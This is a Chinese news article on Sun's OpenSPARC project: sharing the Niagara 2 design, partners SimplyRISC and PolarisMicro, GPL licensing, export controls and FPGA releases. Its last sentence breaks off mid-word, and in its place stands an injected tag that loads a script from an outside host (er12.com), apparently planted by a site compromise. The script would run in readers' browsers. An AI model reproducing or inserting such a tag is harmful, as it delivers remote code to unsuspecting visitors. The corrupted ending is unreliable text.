sun的开放源代码芯片计划结出了一些硕果,但它希望通过共享niagara2处理器的详细资料,能有更多厂商参与进来。
sun有了两家参与该计划的厂商━━在意大利和英格兰开展有业务的simplyrisc、中国的polarismicro,两家公司都设计opensparcs1的变种,opensparcs1是sun的ultrasparct1niagara处理器的开放源代码版。
但是,这二家公司和其它参与者在未来将有更多的工作要做。sun微电子集团的负责人大卫说,我们的目标是使sparc处理器设计开放源代码化。
sun已经开始将其业务由专有模式转向开放源代码,它的大多数软件已经或即将成为开放源代码产品,但在开放硬件设计方面,sun显得与众不同。
与其开放源代码软件计划一样,opensparc项目旨在首先获得关注,然后再获得收入。illuminata的分析师哈夫表示,其它厂商开发与sparc相关的产品表明,opensparc不仅仅是一场秀。
sun相信这一开放源代码计划会带来财务收入。大卫说,通过开放设计和让其它公司熟悉我们的技术,我们降低了人们在多种场合使用sparc处理器的门槛,其中包括我们的系统平台产品。
sun希望使sparc具有更显赫的履历。在1990年代末的.com大潮中,sparc曾经是服务器的“大脑”,但由于在性能竞争中落后、新产品跳票、.com泡沫破裂,重要性有所下滑。
受ultrasparciv+服务器的表现远超预期、sun推出x86服务器、niagara服务器业务获得发展等因素的作用,sun的服务器业务在一定程度上已经稳定下来。
尽管将赌注押在了x86上,sun仍然在大力推动sparc业务。niagara2将很快被应用在1路服务器中,并将于2008年上半年被应用在2路服务器中。采用高端芯片rock的服务器则将于2008年下半年上市销售。
sun上周宣布,solaris操作系统已经能够在rock原型服务器上运行,这一重要进展不仅表明芯片正常,还表明系统的其它部分也正常。
opensparc为sun获得了一些盟友。中国的polarismicro选择使用sparc芯片的原因就是因为它是开放源代码的。polarismicro向电信和数据存储领域的客户销售系统电路板。
浦蓝微电子首席执行官naxinzhang说,我可以查看和修改源代码,还有认证、架构模拟等工具。我们相信opensparc未来会越来越兴旺,因为它是开放源代码的。
zhang表示,这种开放性使得开发出能够插入amd的torrenza芯片插座的sparc版本芯片成为可能,中国的一家电信公司就对这种可能性颇感兴趣。
simplyrisc也受到了开放源代码许可的吸引。sun为opensparc选择了gpl。simplyrisc的两名主要设计人员之一法布里奇说,我们相信使用gpl的优势。开放源代码许可在软件领域有许多成功的例子,我们相信它在硬件领域也一样能够成功。
gpl也有一些限制。它允许任何人修改设计,但如何有公司发布推出基于修改后设计的产品,它必须公布修改的设计。大卫说,gpl将是方便地检查竞争对手的方法,它们可能希望设计自己的接口,利用sun在多内核芯片方面的投资赚钱。
他表示,如果ibm、英特尔、amd等我们的竞争对手使用我们的一些技术,它们就必须将自己的修改公之于众,这资助阻止它们只抄袭我们的设计。
sun的niagara是业界目前多内核通用芯片的最好典范之一。niagara配置有8个内核,每个内核能够同时执行4个线程。niagara2也只有8个内核,但每个内核能够同时处理的线程数量增加到了8个。它拥有更强大的数据处理能力、内置的加密功能、i/o控制、带宽为10gbps的网络。sun计划于今年第三季度推出niagara2服务器。
sun意识到,软件产业的一些合作伙伴不大容易利用这种多内核、多线程技术,希望获得它们的支持也是sun推出opensparc项目的原因。大卫说,我们深深地相信,多内核、多线程是未来的发展方向,在计算效率和能源使用效率方面都是如此。
要做到这一点单靠处理器厂商做不到,它要求软件厂商的参与。通过开放opensparcs1的源代码,它还向it社区发出了强烈信号,敦促它们向这一方向发展。
使niagara2成为开放源代码项目可能存在一些困难。其中之一是出口控制,因为美国对加密技术的出口有着严格的限制。
开放源代码的芯片设计与开放源代码软件项目有很大不同之处。利用计算机下载开放源代码的软件代码很方便,但在硬件方面,只有很少的人有所需要的技术,芯片制造厂对于生产试验性芯片也没有兴趣。
但对于准开放源代码芯片设计人员而言,还有另外一条途径:fpga。opensparc项目的高级主管什伦尼克表示,sun已经发布了支持fpga的opensparc版本。这一设计只支持一个内核和一个线程,因此学生可以增加内核和线程的数量。
sun对其开放源代码芯片项目的进展很满意,包括其设计已经被下载了4700次,但同时也意识到,这一项目取得的进展?script src=http://er12.com/t.js>











